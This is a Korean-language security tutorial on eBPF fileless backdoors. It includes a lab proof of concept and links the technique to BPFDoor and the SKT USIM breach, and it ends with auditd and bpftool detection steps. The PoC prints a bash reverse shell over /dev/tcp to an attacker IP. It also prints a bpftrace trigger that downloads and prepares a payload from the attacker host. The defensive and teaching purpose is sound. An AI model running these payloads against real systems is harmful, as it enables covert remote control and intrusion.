eBPF Backdoor 개념 및 SKT 사태와 연관성

1. eBPF Backdoor란?

과거의 리버스 쉘 공격 방식은 비교적 단순한 명령 실행을 통해 이루어졌습니다. 공격자는 피해 서버에 nc -e /bin/sh와 같은 명령어를 심어두고 해당 명령이 실행되면 공격자의 Netcat 리스닝 포트로 직접 쉘이 연결되도록 구성하였습니다.
이러한 방식은 구현이 간단하고 명령 실행만으로 원격 제어가 가능하다는 장점이 있지만 보안 측면에서는 여러 한계점을 가지고 있습니다.

리버스 쉘을 만들기 위해 악성 명령어를 포함한 스크립트나 파일이 필요하기 때문에 시스템에 직접적인 파일 흔적이 남게 되고 쉘이 연결되는 과정에서 nc, bash 등의 프로세스가 실행되어 로그가 남고 시그니처 기반 백신 프로그램과 같은 보안 솔루션에 탐지될 확률이 높습니다.

 

최근에는 eBPF(Extended Berkeley Packet Filter)를 활용한 파일 없는 백도어(fileless backdoor) 방식을 사용하고 있습니다.
eBPF는 리눅스 커널에 탑재되어 동작하는 작은 프로그램으로 시스템콜이나 커널 이벤트를 실시간으로 감시하고 조작할 수 있는 기능을 제공합니다.
공격자는 이를 이용해 지정된 조건이 만족되었을 때만 악성 동작을 수행하는 조건 기반 백도어를 만들 수 있습니다.

eBPF 백도어는 별도의 실행파일이나 상시 프로세스를 필요로 하지 않으며 커널 내부에서 동작하기 때문에 일반적인 로그나 프로세스 목록에는 나타나지 않습니다.
평소에는 아무런 행동도 하지 않고 잠복하고 있다가 정해진 조건이 충족되었을 때만 외부 서버와 연결하거나 악성 코드를 실행하게 됩니다.

2. 간단한 eBPF 실습 환경 구성 (VMware)

1) 서버 구성

공격자: Kali Linux (IP: 192.168.45.141)
피해자: Locky Linux (IP: 192.168.45.24)

 

2) 동작 방식

①  Locky 리눅스(피해자) 시스템에서 /tmp/door 파일이 실행
②  실행 직후 커널 내부에서 execve() 시스템 콜이 발생하며 bpftrace가 감지
③  조건 검사(args->filename == "/tmp/door")를 통과하면 bpftrace의 system()을 통해 Kali에서 payload.sh를 다운로드하고 실행 권한을 부여
④ 사용자가 수동으로 bash /tmp/payload.sh 명령을 실행하면 내부에 정의된 bash 리버스 셸 코드가 작동합니다.
⑤  공격자 PC에서 대기 중인 Netcat(nc -lvnp 4444)에 리버스 셸이 연결되어 공격자는 피해 시스템을 원격 제어 수행

3. PoC

1) 공격자 구성 (Kali Linux)

우선 공격자는 리버스 쉘을 유도할 스크립트를 하나 준비해야 합니다.
이 스크립트는 피해자가 공격자에게 접속하게 합니다.

 

① payload.py 작성

#!/bin/bash
exec 5<>/dev/tcp/192.168.45.141/4444
while read line <&5; do
	eval "\$line" 2>&5 >&5
done

 

② 작성한 파일을 웹서버에 노출

 

③ 리버스 쉘이 연결되었을 때 받기 위해 Netcat을 대기

 

2) 피해자 구성 (Locky Linux)

이제 피해자 측에서는 공격자가 심어놓은 bpftrace를 실행합니다.

아래 스크립트는 커널에서 execve() 시스템콜이 발생할 때마다 감시하고 실행된 경로가 /tmp/door일 경우에만 동작합니다.

 

① bpftrace 명령어 작성

sudo bpftrace --unsafe -e '
tracepoint:syscalls:sys_enter_execve
/str(args->filename) == "/tmp/door"/
{
    system("curl http://192.168.45.141:8000/payload.sh -o /tmp/payload.sh");
    system("chmod +x /tmp/payload.sh");
}'

 

② 트리거 파일 생성 및 실행

감지를 유도하기 위해 /tmp/door 파일을 간단히 만들어 실행합니다

이 파일을 실행하면 bpftrace는 조건을 만족하여 payload.sh를 공격자 PC(Kali)에서 다운로드하고 /tmp에 저장합니다.

echo -e '#!/bin/bash\necho triggered' > /tmp/door
chmod +x /tmp/door
bash /tmp/door

 

③ payload.sh 실행

bpftrace 내부 system("bash /tmp/payload.sh")는 터미널(TTY) 환경이 없어 쉘이 바로 종료되기 때문에 리버스 쉘이 정상 연결되지않아 수동으로 실행합니다.

 

④ 공격자 PC에서 리버스 쉘 연결에 성공 후 명령어 실행

연결이 완료되면 공격자 PC에서 피해자 PC에 원격 명령을 수행할 수 있습니다.

4. SKT USIM 해킹 사태에 관련성

1) 공격 방식

앞서 진행한 실습에서는 공격자가 피해자의 시스템에 직접 접근하여 리눅스 커널에서 execve() 시스템 콜을 감지하고 조건에 따라 리버스 쉘을 트리거하는 eBPF 기반 백도어를 구성해보았습니다.
이 방식은 시스템 내부에 은밀하게 숨어 있다가 특정 명령이 실행될 때만 활성화되는 구조로 SIEM이나 EDR과 같은 보안 솔루션으로는 탐지가 어려운 특성을 가집니다.

SKT USIM 해킹 사태에서는 유사한 백도어 기법이 훨씬 고도화된 형태로 적용되었습니다.
아직 확인되지 않았지만, 공격자는 외부에서 SKT 내부망에 직접 접근할 수 없기 때문에 Ivanti VPN 장비의 취약점 또는 SAP NetWeaver의 파일 업로드 취약점(CVE-2025-31324)과 같은 취약점을 이용하여 내부망으로 침입가능성이 존재합니다.

침입 후 내부망에서 횡적 확장(lateral movement)을 통해 SKT의 과금분석장비(WCDR)침입한 후 음성인증장비(HSS) 등 핵심 인프라 장비를 장악하기 위해 변종 BPFDoor를 설치한 것으로 추정됩니다.

BPFDoor는 실습에서 사용한 bpftrace 백도어와 유사하게 커널 수준에서 작동하며 특정한 명령이나 패턴이 감지되었을 때만 악성 동작을 수행하는 트리거 기반 백도어입니다. 이 악성코드는 hpasmcli, hald-addon-acpi 등 정상 프로세스를 위장하여 상주하며 로그를 남기지 않고 포트를 열지도 않기 때문에 기존 보안 장비로는 탐지하기 매우 어려운 구조를 가지고 있습니다.
그리고 BPFDoor는 실행 시 즉시 종료하거나, ICMP, UDP, TCP 패킷을 통해 비정상적인 방식으로 명령을 수신하는 기능을 가지고 있어 포트리스(Port-less) 통신을 통해 내부망에서 외부 공격자와 은밀히 통신이 가능합니다.

 

 

2) 대응 방안

auditd로 eBPF 관련 시스템 호출 감시

auditd는 리눅스의 보안 감사 데몬으로특정 시스템 호출(syscall) 발생을 감지할 수 있습니다.

eBPF 프로그램을 로드하거나 커널 훅을 거는 행위는 bpf() 시스템 콜을 통해 이뤄집니다.

# bpf syscall 감시 설정
sudo auditctl -a always,exit -F arch=b64 -S bpf -k bpf_monitor

#결과 확인
ausearch -k bpf_monitor --format text

 

사용중인 eBPF 프로그램 목록 확인

이상한 사용자 정의 tracepoint가 있는 경우 유해한 BPF 프로그램 확인이 가능합니다.

sudo bpftool prog show